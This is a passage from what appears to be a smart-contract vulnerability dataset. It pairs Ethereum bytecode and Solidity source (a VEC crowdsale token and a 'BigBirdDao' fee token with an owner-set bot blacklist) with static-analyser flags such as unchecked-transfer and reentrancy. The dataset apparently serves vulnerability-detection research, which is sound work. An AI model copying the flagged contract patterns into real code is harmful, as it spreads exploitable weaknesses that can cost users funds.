0ff1681518110151561054557fe5b90602001906020020151878560ff1681518110151561056057fe5b60209081029091018101516040805160e060020a63ffffffff8816028152600160a060020a03958616600482015293909416602484015260448301529151606480830193928290030181600087803b1580156105bb57600080fd5b505af11580156105cf573d6000803e3d6000fd5b505050506040513d60208110156105e557600080fd5b50508351849060ff83169081106105f857fe5b602090810290910101519290920191600101610518565b6106323361062d600161062133610c25565b9063ffffffff61118b16565b6111a5565b60408051848152600160a060020a038816602082015281517f04afd2ce457d973046bd54f5d7d36368546da08b88be1bca8ae50e32b451da17929181900390910190a15b505050505050565b604080517f72735f6d756c746973656e6465725f696e697469616c697a65640000000000008152815190819003601a01902060009081526007602052205460ff1690565b6106ca6109c3565b600160a060020a031633146106de57600080fd5b8015156106ea57600080fd5b604080517f646973636f756e745374657000000000000000000000000000000000000000008152815190819003600c019020600090815260036020522055565b610732610fcf565b600160a060020a0316331461074657600080fd5b7f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e061076f6109c3565b610777610fcf565b60408051600160a060020a03938416815291909216602082015281519081900390910190a1604080517f70656e64696e674f776e657200000000000000000000000000000000000000008082528251600c9281900383018120600090815260056020818152868320547f6f776e657200000000000000000000000000000000000000000000000000000085528751948590038301852084528282528784208054600160a060020a0390921673ffffffffffffffffffffffffffffffffffffffff199283161790559484528651938490039095019092208152925291902080549091169055565b60018054604080516020601f600260001961010087891615020190951694909404938401819004810282018101909252828152606093909290918301828280156108e85780601f106108bd576101008083540402835291602001916108e8565b820191906000526020600020905b8154815290600101906020018083116108cb57829003601f168201915b5050505050905090565b60006108fd336110c2565b610905610d93565b11156109325761092b610917836110c2565b61091f610d93565b9063ffffffff61128416565b9050610936565b5060005b919050565b600254600160a060020a031690565b6109526109c3565b600160a060020a0316331461096657600080fd5b80151561097257600080fd5b604080517f6665650000000000000000000000000000000000000000000000000000000000815281516003918190038201902060009081526020919091522055565b600054600160a060020a031690565b604080517f6f776e6572000000000000000000000000000000000000000000000000000000815281516005918190038201902060009081526020919091522054600160a060020a031690565b34600080610a1c336108f2565b915081831015610a2b57600080fd5b610a33610b70565b85511115610a4057600080fd5b610a50838363ffffffff61128416565b9250600090505b8451811015610b1b578381815181101515610a6e57fe5b60209081029091010151831015610a8457600080fd5b610aac8482815181101515610a9557fe5b60209081029091010151849063ffffffff61128416565b92508481815181101515610abc57fe5b90602001906020020151600160a060020a03166108fc8583815181101515610ae057fe5b602090810290910101516040518115909202916000818181858888f19350505050158015610b12573d6000803e3d6000fd5b50600101610a57565b610b2d3361062d600161062133610c25565b6040805134815261beef602082015281517f04afd2ce457d973046bd54f5d7d36368546da08b88be1bca8ae50e32b451da17929181900390910190a15050505050565b60006003600060405160200180807f61727261794c696d697400000000000000000000000000000000000000000000815250600a0190506040516020818303038152906040526040518082805190602001908083835b60208310610be55780518252601f199092019160209182019101610bc6565b51815160209384036101000a6000190180199092169116179052604080519290940182900390912086528501959095529290920160002054949350505050565b6000600360008360405160200180807f7478436f756e740000000000000000000000000000000000000000000000000081525060070182600160a060020a0316600160a060020a03166c010000000000000000000000000281526014019150506040516020818303038152906040526040518082805190602001908083835b60208310610cc35780518252601f199092019160209182019101610ca4565b51815160209384036101000a600019018019909216911617905260408051929094018290039091208652850195909552929092016000205495945050505050565b610d0c61067e565b15610d1657600080fd5b610d1f81611296565b610d2960c861105a565b610d38652d79883d20006106c2565b610d4866b1a2bc2ec5000061094a565b50604080517f72735f6d756c746973656e6465725f696e697469616c697a65640000000000008152815190819003601a0190206000908152600760205220805460ff19166001179055565b604080517f666565000000000000000000000000000000000000000000000000000000000081528151600391819003820190206000908152602091909152205490565b600080610de16109c3565b600160a060020a03163314610df557600080fd5b600160a060020a0383161515610e4b57610e0d6109c3565b604051600160a060020a039190911690303180156108fc02916000818181858888f19350505050158015610e45573d6000803e3d6000fd5b50610fca565b604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051849350600160a060020a038416916370a082319160248083019260209291908290030181600087803b158015610eaf57600080fd5b505af1158015610ec3573d6000803e3d6000fd5b505050506040513d6020811015610ed957600080fd5b50519050600160a060020a03821663a9059cbb610ef46109c3565b836040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b158015610f4757600080fd5b505af1158015610f5b573d6000803e3d6000fd5b505050506040513d6020811015610f7157600080fd5b507ff931edb47c50b4b4104c187b5814a9aef5f709e17e2ecf9617e860cacade929c905083610f9e6109c3565b60408051600160a060020a03938416815291909216602082015280820184905290519081900360600190a15b505050565b604080517f70656e64696e674f776e657200000000000000000000000000000000000000008152815190819003600c019020600090815260056020522054600160a060020a031690565b604080517f646973636f756e745374657000000000000000000000000000000000000000008152815190819003600c01902060009081526003602052205490565b6110626109c3565b600160a060020a0316331461107657600080fd5b80151561108257600080fd5b604080517f61727261794c696d6974000000000000000000000000000000000000000000008152815190819003600a019020600090815260036020522055565b6000806110ce83610c25565b90506110e86110db611019565b829063ffffffff61134d16565b9392505050565b6110f76109c3565b600160a060020a0316331461110b57600080fd5b600160a060020a038116151561112057600080fd5b604080517f70656e64696e674f776e657200000000000000000000000000000000000000008152815190819003600c01902060009081526005602052208054600160a060020a0390921673ffffffffffffffffffffffffffffffffffffffff19909216919091179055565b60008282018381101561119a57fe5b8091505b5092915050565b80600360008460405160200180807f7478436f756e740000000000000000000000000000000000000000000000000081525060070182600160a060020a0316600160a060020a03166c010000000000000000000000000281526014019150506040516020818303038152906040526040518082805190602001908083835b602083106112425780518252601f199092019160209182019101611223565b51815160209384036101000a60001901801990921691161790526040805192909401829003909120865285019590955292909201600020939093555050505050565b60008282111561129057fe5b50900390565b7f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e06112bf6109c3565b60408051600160a060020a03928316815291841660208301528051918290030190a1604080517f6f776e65720000000000000000000000000000000000000000000000000000008152815160059181900382019020600090815260209190915220805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600080831515611360576000915061119e565b5082820282848281151561137057fe5b041461119a57fe00a165627a7a723058201dd374d7573c0439cd7e5521f93b7bc98d91776fd23fa97916e723e3b23744d60029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 4,265 |
0x9dabd6bc07e8cd030606a602fa5225acbcbcae0b
|
pragma solidity ^0.4.21;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract VEC is Ownable, MintableToken {
using SafeMath for uint256;
string public constant name = "Verified Emission Credit";
string public constant symbol = "VEC";
uint32 public constant decimals = 0;
address public addressTeam; // address of vesting smart contract
uint public summTeam;
function VEC() public {
summTeam = 9500000000;
addressTeam = 0x58a2CE10BAe7903829795Bca26A204360213C62e;
//Founders and supporters initial Allocations
mint(addressTeam, summTeam);
}
}
contract Crowdsale is Ownable {
using SafeMath for uint256;
// The token being sold
VEC public token;
//Total number of tokens sold on ICO
uint256 public allTokenICO;
//max tokens
uint256 public maxTokens;
//max Ether
uint256 public maxEther;
// Address where funds are collected
address public wallet;
// How many token units a buyer gets per wei
uint256 public rate;
// Amount of wei raised
uint256 public weiRaised;
//start ICO
uint256 public startICO;
/**
* Event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale() public {
maxTokens = 500000000;
maxEther = 10000 * 1 ether;
rate = 13062;
startICO =1527062400; //Wed, 23 May 2018 08:00:00 +0000
wallet = 0xb382C19879d39E38B4fa77fE047FAdadE002fdAB;
token = createTokenContract();
}
function createTokenContract() internal returns (VEC) {
return new VEC();
}
function setRate(uint256 _rate) public onlyOwner{
rate = _rate;
}
// -----------------------------------------
// Crowdsale external interface
// -----------------------------------------
function () external payable {
buyTokens(msg.sender);
}
/**
* @dev low level token purchase ***DO NOT OVERRIDE***
* @param _beneficiary Address performing the token purchase
*/
function buyTokens(address _beneficiary) public payable {
require(now >= startICO);
require(msg.value <= maxEther);
require(allTokenICO <= maxTokens);
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
// update state
allTokenICO = allTokenICO.add(tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_forwardFunds();
}
// -----------------------------------------
// Internal interface (extensible)
// -----------------------------------------
/**
* @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use super to concatenate validations.
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal pure {
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
/**
* @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens.
* @param _beneficiary Address performing the token purchase
* @param _tokenAmount Number of tokens to be emitted
*/
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.mint(_beneficiary, _tokenAmount);
}
/**
* @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens.
* @param _beneficiary Address receiving the tokens
* @param _tokenAmount Number of tokens to be purchased
*/
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
/**
* @dev Override to extend the way in which ether is converted to tokens.
* @param _weiAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased with the specified _weiAmount
*/
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate);
}
/**
* @dev Determines how ETH is stored/forwarded on purchases.
*/
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
|
0x6060604052600436106100fb5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461010057806306fdde0314610127578063095ea7b3146101b15780630d6f6f0b146101d357806318160ddd146101f857806323b872dd1461020b578063313ce5671461023357806340c10f191461025f578063562e9df91461028157806366188463146102b057806370a08231146102d25780637d64bcb4146102f15780638da5cb5b1461030457806395d89b4114610317578063a9059cbb1461032a578063d73dd6231461034c578063dd62ed3e1461036e578063f2fde38b14610393575b600080fd5b341561010b57600080fd5b6101136103b4565b604051901515815260200160405180910390f35b341561013257600080fd5b61013a6103d5565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561017657808201518382015260200161015e565b50505050905090810190601f1680156101a35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101bc57600080fd5b610113600160a060020a036004351660243561040c565b34156101de57600080fd5b6101e6610478565b60405190815260200160405180910390f35b341561020357600080fd5b6101e661047e565b341561021657600080fd5b610113600160a060020a0360043581169060243516604435610484565b341561023e57600080fd5b610246610604565b60405163ffffffff909116815260200160405180910390f35b341561026a57600080fd5b610113600160a060020a0360043516602435610609565b341561028c57600080fd5b610294610728565b604051600160a060020a03909116815260200160405180910390f35b34156102bb57600080fd5b610113600160a060020a0360043516602435610737565b34156102dd57600080fd5b6101e6600160a060020a0360043516610831565b34156102fc57600080fd5b61011361084c565b341561030f57600080fd5b6102946108f9565b341561032257600080fd5b61013a610908565b341561033557600080fd5b610113600160a060020a036004351660243561093f565b341561035757600080fd5b610113600160a060020a0360043516602435610a51565b341561037957600080fd5b6101e6600160a060020a0360043581169060243516610af5565b341561039e57600080fd5b6103b2600160a060020a0360043516610b20565b005b60035474010000000000000000000000000000000000000000900460ff1681565b60408051908101604052601881527f566572696669656420456d697373696f6e204372656469740000000000000000602082015281565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60055481565b60015490565b6000600160a060020a038316151561049b57600080fd5b600160a060020a0384166000908152602081905260409020548211156104c057600080fd5b600160a060020a03808516600090815260026020908152604080832033909416835292905220548211156104f357600080fd5b600160a060020a03841660009081526020819052604090205461051c908363ffffffff610bbb16565b600160a060020a038086166000908152602081905260408082209390935590851681522054610551908363ffffffff610bcd16565b600160a060020a0380851660009081526020818152604080832094909455878316825260028152838220339093168252919091522054610597908363ffffffff610bbb16565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b600081565b60035460009033600160a060020a0390811691161461062757600080fd5b60035474010000000000000000000000000000000000000000900460ff161561064f57600080fd5b600154610662908363ffffffff610bcd16565b600155600160a060020a03831660009081526020819052604090205461068e908363ffffffff610bcd16565b600160a060020a0384166000818152602081905260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a03831660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350600192915050565b600454600160a060020a031681565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120548083111561079457600160a060020a0333811660009081526002602090815260408083209388168352929052908120556107cb565b6107a4818463ffffffff610bbb16565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526020819052604090205490565b60035460009033600160a060020a0390811691161461086a57600080fd5b60035474010000000000000000000000000000000000000000900460ff161561089257600080fd5b6003805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b600354600160a060020a031681565b60408051908101604052600381527f5645430000000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a038316151561095657600080fd5b600160a060020a03331660009081526020819052604090205482111561097b57600080fd5b600160a060020a0333166000908152602081905260409020546109a4908363ffffffff610bbb16565b600160a060020a0333811660009081526020819052604080822093909355908516815220546109d9908363ffffffff610bcd16565b60008085600160a060020a0316600160a060020a031681526020019081526020016000208190555082600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350600192915050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610a89908363ffffffff610bcd16565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a03908116911614610b3b57600080fd5b600160a060020a0381161515610b5057600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610bc757fe5b50900390565b600082820183811015610bdc57fe5b93925050505600a165627a7a72305820ee78de9b538a010a11030c192da67d4d7075ea009d6635df0aaab4ec2cd7864e0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,266 |
0xade483dcd35afc43171614b9a53c2390e7a2375e
|
pragma solidity ^0.8.3;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BigBirdDao is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "BigBirdDao";
string private constant _symbol = "BBD";
uint8 private constant _decimals = 18;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable addr1, address payable addr2) {
_FeeAddress = addr1;
_marketingWalletAddress = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_FeeAddress] = true;
_isExcludedFromFee[_marketingWalletAddress] = true;
emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 6;
_teamFee = 6;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 6;
_teamFee = 6;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 30000000000000000 * 10**9;
tradingOpen = true;
